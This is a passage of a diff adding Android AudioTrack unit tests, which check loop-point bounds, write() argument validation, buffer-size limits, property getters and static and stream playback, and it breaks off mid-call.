+    public void testSetLoopPointsLoopTooLong() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testSetLoopPointsLoopTooLong";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STATIC;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        int dataSizeInFrames = minBuffSize / 2;
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_NO_STATIC_DATA);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        assertTrue(TEST_NAME, track.setLoopPoints(10, dataSizeInFrames + 20, 2) ==
+            AudioTrack.ERROR_BAD_VALUE);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 8: setLoopPoints() fails with start beyond what can be written
+    // for the track
+    @Test
+    public void testSetLoopPointsStartTooFar() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testSetLoopPointsStartTooFar";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STATIC;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        int dataSizeInFrames = minBuffSize / 2;// 16bit data
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_NO_STATIC_DATA);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        assertTrue(TEST_NAME,
+                track.setLoopPoints(dataSizeInFrames + 20, dataSizeInFrames + 50, 2) ==
+                    AudioTrack.ERROR_BAD_VALUE);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 9: setLoopPoints() fails with end beyond what can be written
+    // for the track
+    @Test
+    public void testSetLoopPointsEndTooFar() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testSetLoopPointsEndTooFar";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STATIC;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        int dataSizeInFrames = minBuffSize / 2;// 16bit data
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_NO_STATIC_DATA);
+        track.write(data, OFFSET_DEFAULT, data.length);
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        int loopCount = 2;
+        assertTrue(TEST_NAME,
+                track.setLoopPoints(dataSizeInFrames - 10, dataSizeInFrames + 50, loopCount) ==
+                    AudioTrack.ERROR_BAD_VALUE);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // -----------------------------------------------------------------
+    // Audio data supply
+    // ----------------------------------
+
+    // Test case 1: write() fails when supplying less data (bytes) than declared
+    @Test
+    public void testWriteByteOffsetTooBig() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testWriteByteOffsetTooBig";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        int offset = 10;
+        assertTrue(TEST_NAME, track.write(data, offset, data.length) == AudioTrack.ERROR_BAD_VALUE);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 2: write() fails when supplying less data (shorts) than
+    // declared
+    @Test
+    public void testWriteShortOffsetTooBig() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testWriteShortOffsetTooBig";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        short data[] = new short[minBuffSize / 2];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        int offset = 10;
+        assertTrue(TEST_NAME, track.write(data, offset, data.length)
+                                                            == AudioTrack.ERROR_BAD_VALUE);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 3: write() fails when supplying less data (bytes) than declared
+    @Test
+    public void testWriteByteSizeTooBig() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testWriteByteSizeTooBig";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        assertTrue(TEST_NAME, track.write(data, OFFSET_DEFAULT, data.length + 10)
+                                                        == AudioTrack.ERROR_BAD_VALUE);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 4: write() fails when supplying less data (shorts) than
+    // declared
+    @Test
+    public void testWriteShortSizeTooBig() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testWriteShortSizeTooBig";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        short data[] = new short[minBuffSize / 2];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        assertTrue(TEST_NAME, track.write(data, OFFSET_DEFAULT, data.length + 10)
+                                                        == AudioTrack.ERROR_BAD_VALUE);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 5: write() fails with negative offset
+    @Test
+    public void testWriteByteNegativeOffset() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testWriteByteNegativeOffset";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        assertTrue(TEST_NAME, track.write(data, OFFSET_NEGATIVE, data.length - 10) ==
+            AudioTrack.ERROR_BAD_VALUE);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 6: write() fails with negative offset
+    @Test
+    public void testWriteShortNegativeOffset() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testWriteShortNegativeOffset";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        short data[] = new short[minBuffSize / 2];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        assertTrue(TEST_NAME,
+        track.write(data, OFFSET_NEGATIVE, data.length - 10) == AudioTrack.ERROR_BAD_VALUE);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 7: write() fails with negative size
+    @Test
+    public void testWriteByteNegativeSize() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testWriteByteNegativeSize";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        int dataLength = -10;
+        assertTrue(TEST_NAME, track.write(data, OFFSET_DEFAULT, dataLength)
+                                                    == AudioTrack.ERROR_BAD_VALUE);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 8: write() fails with negative size
+    @Test
+    public void testWriteShortNegativeSize() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testWriteShortNegativeSize";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        short data[] = new short[minBuffSize / 2];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        int dataLength = -10;
+        assertTrue(TEST_NAME, track.write(data, OFFSET_DEFAULT, dataLength)
+                                                        == AudioTrack.ERROR_BAD_VALUE);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 9: write() succeeds and returns the size that was written for
+    // 16bit
+    @Test
+    public void testWriteByte() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testWriteByte";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        assertTrue(TEST_NAME, track.write(data, OFFSET_DEFAULT, data.length) == data.length);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 10: write() succeeds and returns the size that was written for
+    // 16bit
+    @Test
+    public void testWriteShort() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testWriteShort";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        short data[] = new short[minBuffSize / 2];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        assertTrue(TEST_NAME, track.write(data, OFFSET_DEFAULT, data.length) == data.length);
+        track.flush();
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 11: write() succeeds and returns the size that was written for
+    // 8bit
+    @Test
+    public void testWriteByte8bit() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testWriteByte8bit";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        byte data[] = new byte[minBuffSize];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        assertEquals(TEST_NAME, data.length, track.write(data, OFFSET_DEFAULT, data.length));
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Test case 12: write() succeeds and returns the size that was written for
+    // 8bit
+    @Test
+    public void testWriteShort8bit() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testWriteShort8bit";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                2 * minBuffSize, TEST_MODE);
+        short data[] = new short[minBuffSize / 2];
+        // -------- test --------------
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        assertEquals(TEST_NAME, data.length, track.write(data, OFFSET_DEFAULT, data.length));
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // -----------------------------------------------------------------
+    // Getters
+    // ----------------------------------
+
+    // Test case 1: getMinBufferSize() return ERROR_BAD_VALUE if SR < 4000
+    @Test
+    public void testGetMinBufferSizeTooLowSR() throws Exception {
+        // constant for test
+        final String TEST_NAME = "testGetMinBufferSizeTooLowSR";
+        final int TEST_SR = 3999;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT;
+
+        // -------- initialization & test --------------
+        assertTrue(TEST_NAME, AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT) ==
+            AudioTrack.ERROR_BAD_VALUE);
+    }
+
+    // Test case 2: getMinBufferSize() return ERROR_BAD_VALUE if sample rate too high
+    @Test
+    public void testGetMinBufferSizeTooHighSR() throws Exception {
+        // constant for test
+        final String TEST_NAME = "testGetMinBufferSizeTooHighSR";
+        // FIXME need an API to retrieve AudioTrack.SAMPLE_RATE_HZ_MAX
+        final int TEST_SR = AudioFormat.SAMPLE_RATE_HZ_MAX + 1;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT;
+
+        // -------- initialization & test --------------
+        assertTrue(TEST_NAME, AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT) ==
+            AudioTrack.ERROR_BAD_VALUE);
+    }
+
+    @Test
+    public void testAudioTrackProperties() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testAudioTrackProperties";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        MockAudioTrack track = new MockAudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF,
+                TEST_FORMAT, 2 * minBuffSize, TEST_MODE);
+        assertEquals(TEST_NAME, AudioTrack.STATE_INITIALIZED, track.getState());
+        assertEquals(TEST_NAME, TEST_FORMAT, track.getAudioFormat());
+        assertEquals(TEST_NAME, TEST_CONF, track.getChannelConfiguration());
+        assertEquals(TEST_NAME, TEST_SR, track.getSampleRate());
+        assertEquals(TEST_NAME, TEST_STREAM_TYPE, track.getStreamType());
+        final int hannelCount = 1;
+        assertEquals(hannelCount, track.getChannelCount());
+        final int notificationMarkerPosition = 0;
+        assertEquals(TEST_NAME, notificationMarkerPosition, track.getNotificationMarkerPosition());
+        final int markerInFrames = 2;
+        assertEquals(TEST_NAME, AudioTrack.SUCCESS,
+                track.setNotificationMarkerPosition(markerInFrames));
+        assertEquals(TEST_NAME, markerInFrames, track.getNotificationMarkerPosition());
+        final int positionNotificationPeriod = 0;
+        assertEquals(TEST_NAME, positionNotificationPeriod, track.getPositionNotificationPeriod());
+        final int periodInFrames = 2;
+        assertEquals(TEST_NAME, AudioTrack.SUCCESS,
+                track.setPositionNotificationPeriod(periodInFrames));
+        assertEquals(TEST_NAME, periodInFrames, track.getPositionNotificationPeriod());
+        track.setState(AudioTrack.STATE_NO_STATIC_DATA);
+        assertEquals(TEST_NAME, AudioTrack.STATE_NO_STATIC_DATA, track.getState());
+        track.setState(AudioTrack.STATE_UNINITIALIZED);
+        assertEquals(TEST_NAME, AudioTrack.STATE_UNINITIALIZED, track.getState());
+        int frameCount = 2 * minBuffSize;
+        if (TEST_CONF == AudioFormat.CHANNEL_CONFIGURATION_STEREO) {
+            frameCount /= 2;
+        }
+        if (TEST_FORMAT == AudioFormat.ENCODING_PCM_16BIT) {
+            frameCount /= 2;
+        }
+        assertTrue(TEST_NAME, track.getNativeFrameCount() >= frameCount);
+        assertEquals(TEST_NAME, track.getNativeFrameCount(), track.getBufferSizeInFrames());
+    }
+
+    @Test
+    public void testReloadStaticData() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testReloadStaticData";
+        final int TEST_SR = 22050;
+        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT;
+        final int TEST_MODE = AudioTrack.MODE_STATIC;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+
+        // -------- initialization --------------
+        int bufferSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        byte data[] = AudioHelper.createSoundDataInByteArray(
+                bufferSize, TEST_SR, 1024 /* frequency */, 0 /* sweep */);
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                bufferSize, TEST_MODE);
+        // -------- test --------------
+        track.write(data, OFFSET_DEFAULT, bufferSize);
+        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
+        track.play();
+        Thread.sleep(WAIT_MSEC);
+        track.stop();
+        Thread.sleep(WAIT_MSEC);
+        assertEquals(TEST_NAME, AudioTrack.SUCCESS, track.reloadStaticData());
+        track.play();
+        Thread.sleep(WAIT_MSEC);
+        track.stop();
+        // -------- tear down --------------
+        track.release();
+    }
+
+    @Presubmit
+    @Test
+    public void testPlayStaticDataShort() throws Exception {
+        if (!hasAudioOutput()) {
+            Log.w(TAG,"AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+        // constants for test
+        final String TEST_NAME = "testPlayStaticDataShort";
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_FLOAT;
+        final int TEST_SR = 48000;
+        final int TEST_CONF = AudioFormat.CHANNEL_OUT_MONO;
+        final int TEST_MODE = AudioTrack.MODE_STATIC;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+        final double TEST_SWEEP = 100;
+        final int TEST_LOOPS = 1;
+        final double TEST_FREQUENCY = 400;
+        final long WAIT_TIME_MS = 150; // compensate for cold start when run in isolation.
+        final double TEST_LOOP_DURATION = 0.25;
+        final int TEST_ADDITIONAL_DRAIN_MS = 300;  // as a presubmit test, 1% of the time the
+                                                   // startup is slow by 200ms.
+
+        playOnceStaticData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
+                TEST_LOOPS, TEST_FORMAT, TEST_FREQUENCY, TEST_SR, TEST_CONF,
+                WAIT_TIME_MS, TEST_LOOP_DURATION, TEST_ADDITIONAL_DRAIN_MS);
+
+    }
+
+    @Test
+    public void testPlayStaticData() throws Exception {
+        if (!hasAudioOutput()) {
+            Log.w(TAG,"AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+        // constants for test
+        final String TEST_NAME = "testPlayStaticData";
+        final int TEST_FORMAT_ARRAY[] = {  // 6 chirps repeated (TEST_LOOPS+1) times, 3 times
+                AudioFormat.ENCODING_PCM_8BIT,
+                AudioFormat.ENCODING_PCM_16BIT,
+                AudioFormat.ENCODING_PCM_FLOAT,
+        };
+        final int TEST_SR_ARRAY[] = {
+                12055, // Note multichannel tracks will sound very short at low sample rates
+                48000,
+        };
+        final int TEST_CONF_ARRAY[] = {
+                AudioFormat.CHANNEL_OUT_MONO,    // 1.0
+                AudioFormat.CHANNEL_OUT_STEREO,  // 2.0
+                AudioFormat.CHANNEL_OUT_7POINT1_SURROUND, // 7.1
+        };
+        final int TEST_MODE = AudioTrack.MODE_STATIC;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+        final double TEST_SWEEP = 100;
+        final int TEST_LOOPS = 1;
+        final double TEST_LOOP_DURATION = 1.;
+        final int TEST_ADDITIONAL_DRAIN_MS = 0;
+        // Compensates for cold start when run in isolation.
+        // The cold output latency must be 500 ms less or
+        // 200 ms less for low latency devices.
+        final long WAIT_TIME_MS = isLowLatencyDevice() ? WAIT_MSEC : 500;
+
+        for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
+            double frequency = 400; // frequency changes for each test
+            for (int TEST_SR : TEST_SR_ARRAY) {
+                for (int TEST_CONF : TEST_CONF_ARRAY) {
+                    playOnceStaticData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
+                            TEST_LOOPS, TEST_FORMAT, frequency, TEST_SR, TEST_CONF, WAIT_TIME_MS,
+                            TEST_LOOP_DURATION, TEST_ADDITIONAL_DRAIN_MS);
+
+                    frequency += 70; // increment test tone frequency
+                }
+            }
+        }
+    }
+
+    private void playOnceStaticData(String testName, int testMode, int testStreamType,
+            double testSweep, int testLoops, int testFormat, double testFrequency, int testSr,
+            int testConf, long waitMsec, double testLoopDuration, int additionalDrainMs)
+            throws InterruptedException {
+        // -------- initialization --------------
+        final int channelCount = Integer.bitCount(testConf);
+        final int bufferFrames = (int)(testLoopDuration * testSr);
+        final int bufferSamples = bufferFrames * channelCount;
+        final int bufferSize = bufferSamples
+                * AudioFormat.getBytesPerSample(testFormat);
+        final double frequency = testFrequency / channelCount;
+        final long MILLISECONDS_PER_SECOND = 1000;
+        AudioTrack track = new AudioTrack(testStreamType, testSr,
+                testConf, testFormat, bufferSize, testMode);
+        assertEquals(testName, AudioTrack.STATE_NO_STATIC_DATA, track.getState());
+
+        // -------- test --------------
+
+        // test setLoopPoints and setPosition can be called here.
+        assertEquals(testName,
+                android.media.AudioTrack.SUCCESS,
+                track.setPlaybackHeadPosition(bufferFrames/2));
+        assertEquals(testName,
+                android.media.AudioTrack.SUCCESS,
+                track.setLoopPoints(
+                        0 /*startInFrames*/, bufferFrames, 10 /*loopCount*/));
+        // only need to write once to the static track
+        switch (testFormat) {
+        case AudioFormat.ENCODING_PCM_8BIT: {
+            byte data[] = AudioHelper.createSoundDataInByteArray(
+                    bufferSamples, testSr,
+                    frequency, testSweep);
+            assertEquals(testName,
+                    bufferSamples,
+                    track.write(data, 0 /*offsetInBytes*/, data.length));
+            } break;
+        case AudioFormat.ENCODING_PCM_16BIT: {
+            short data[] = AudioHelper.createSoundDataInShortArray(
+                    bufferSamples, testSr,
+                    frequency, testSweep);
+            assertEquals(testName,
+                    bufferSamples,
+                    track.write(data, 0 /*offsetInBytes*/, data.length));
+            } break;
+        case AudioFormat.ENCODING_PCM_FLOAT: {
+            float data[] = AudioHelper.createSoundDataInFloatArray(
+                    bufferSamples, testSr,
+                    frequency, testSweep);
+            assertEquals(testName,
+                    bufferSamples,
+                    track.write(data, 0 /*offsetInBytes*/, data.length,
+                            AudioTrack.WRITE_BLOCKING));
+            } break;
+        }
+        assertEquals(testName, AudioTrack.STATE_INITIALIZED, track.getState());
+        // test setLoopPoints and setPosition can be called here.
+        assertEquals(testName,
+                android.media.AudioTrack.SUCCESS,
+                track.setPlaybackHeadPosition(0 /*positionInFrames*/));
+        assertEquals(testName,
+                android.media.AudioTrack.SUCCESS,
+                track.setLoopPoints(0 /*startInFrames*/, bufferFrames, testLoops));
+
+        track.play();
+        Thread.sleep((int)(testLoopDuration * MILLISECONDS_PER_SECOND) * (testLoops + 1));
+        Thread.sleep(waitMsec + additionalDrainMs);
+
+        // Check position after looping. AudioTrack.getPlaybackHeadPosition() returns
+        // the running count of frames played, not the actual static buffer position.
+        int position = track.getPlaybackHeadPosition();
+        assertEquals(testName, bufferFrames * (testLoops + 1), position);
+
+        track.stop();
+        Thread.sleep(waitMsec);
+        // -------- tear down --------------
+        track.release();
+    }
+
+    @Presubmit
+    @Test
+    public void testPlayStreamDataShort() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testPlayStreamDataShort";
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_SR = 48000;
+        final int TEST_CONF = AudioFormat.CHANNEL_OUT_STEREO;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+        final float TEST_SWEEP = 0; // sine wave only
+        final boolean TEST_IS_LOW_RAM_DEVICE = isLowRamDevice();
+        final double TEST_FREQUENCY = 1000;
+        final long NO_WAIT = 0;
+
+        playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
